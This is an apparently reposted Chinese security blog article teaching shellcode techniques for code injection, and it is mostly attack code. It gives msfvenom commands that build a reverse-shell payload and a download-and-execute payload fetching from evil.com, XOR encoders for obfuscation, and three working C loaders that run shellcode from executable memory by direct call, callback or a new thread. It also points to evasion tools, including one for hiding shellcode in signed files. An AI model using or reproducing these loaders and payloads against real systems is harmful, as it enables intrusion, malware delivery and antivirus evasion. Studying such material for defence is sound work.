文章总结: 本文系统介绍了Shellcode技术的核心概念与应用,涵盖其作为位置无关、无空字节的机器码定义,分类包括功能型与架构型。详细解析了使用Metasploit、CobaltStrike及手动编写生成Shellcode的方法,并演示了XOR/AES编码、变形等混淆技术。重点提供了直接执行、回调函数及线程注入等多种执行方式代码实例,推荐了donut、sgn等实战工具,旨在提升代码注入与漏洞利用的攻防能力。 综合评分: 85 文章分类: 渗透测试,恶意软件,代码审计,红队,二进制安全
Shellcode技术——代码注入的核心
原创
pandazhengzheng pandazhengzheng
安全分析与研究
2026年4月15日 08:34 广东
在小说阅读器读本章
去阅读
,一、前言概述
Shellcode是一小段用于执行特定任务的机器码,是现代攻击的核心技术之一,本课将深入介绍Shellcode的生成、混淆和执行技术。
二、相关内容
2.1 Shellcode基础
Shellcode定义:Shellcode是一小段用于执行特定任务的机器码,常用于漏洞利用和代码注入。
Shellcode特点:
- 位置无关代码(Position Independent Code)
- 无空字节(Null-byte Free)
- 小体积
- 自包含
Shellcode类型:
- 功能分类:执行命令、反弹Shell、下载执行、提权
- 架构分类:x86 (32位)、x64 (64位)
- 实现方式:汇编编写、C编译提取、工具生成
2.2 Shellcode生成
2.2.1 使用Metasploit生成
# 生成反弹Shell Shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f c
# 生成执行命令 Shellcode
msfvenom -p windows/x64/exec CMD=cmd.exe -f c
# 生成下载执行 Shellcode
msfvenom -p windows/x64/download_exec URL=http://evil.com/malware.exe -f c
2.2.2 使用Cobalt Strike生成
在Cobalt Strike中生成Beacon Shellcode。
2.2.3 手动编写
x64 MessageBox Shellcode:
section .text
global _start
_start:
sub rsp, 28h
mov rax, [gs:60h]
mov rax, [rax + 18h]
mov rax, [rax + 20h]
mov rax, [rax]
mov rax, [rax]
mov rax, [rax + 20h]
; 获取MessageBoxA地址并调用...
2.3 Shellcode混淆
2.3.1 编码混淆
XOR编码:
void XorEncode(unsigned char* shellcode, size_t size, unsigned char key) {
for (size_t i = 0; i < size; i++) {
shellcode[i] ^= key;
}
}
多字节XOR:
void MultiXorEncode(unsigned char* shellcode, size_t size, unsigned char* key, size_t keySize) {
for (size_t i = 0; i < size; i++) {
shellcode[i] ^= key[i % keySize];
}
}
2.3.2 加密混淆
AES加密:
void AesEncrypt(unsigned char* shellcode, size_t size, unsigned char* key) {
// 使用AES加密
}
2.3.3 变形混淆
ShellcodeMutator
- GitHub: https://github.com/nettitude/ShellcodeMutator
sgn (Shellcode Encoder)
- GitHub: https://github.com/EgeBalci/sgn
2.4 Shellcode执行
2.4.1 直接执行
void ExecuteShellcode(unsigned char* shellcode, size_t size) {
LPVOID memory = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(memory, shellcode, size);
((void(*)())memory)();
}
2.4.2 回调执行
void ExecuteShellcode_Callback(unsigned char* shellcode, size_t size) {
LPVOID memory = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(memory, shellcode, size);
EnumChildWindows(NULL, (WNDENUMPROC)memory, 0);
}
2.4.3 线程执行
void ExecuteShellcode_Thread(unsigned char* shellcode, size_t size) {
LPVOID memory = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(memory, shellcode, size);
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)memory, NULL, 0, NULL);
}
2.5 实战工具
donut
- GitHub: https://github.com/TheWover/donut
- 将PE、DLL、.NET程序集转换为Shellcode
sgn
- GitHub: https://github.com/EgeBalci/sgn
- Shellcode编码器
SigFlip
- GitHub: https://github.com/med0x2e/SigFlip
- 将Shellcode嵌入签名文件
2.6 实战案例分析
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:安全分析与研究 pandazhengzheng pandazhengzheng《Shellcode技术——代码注入的核心》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论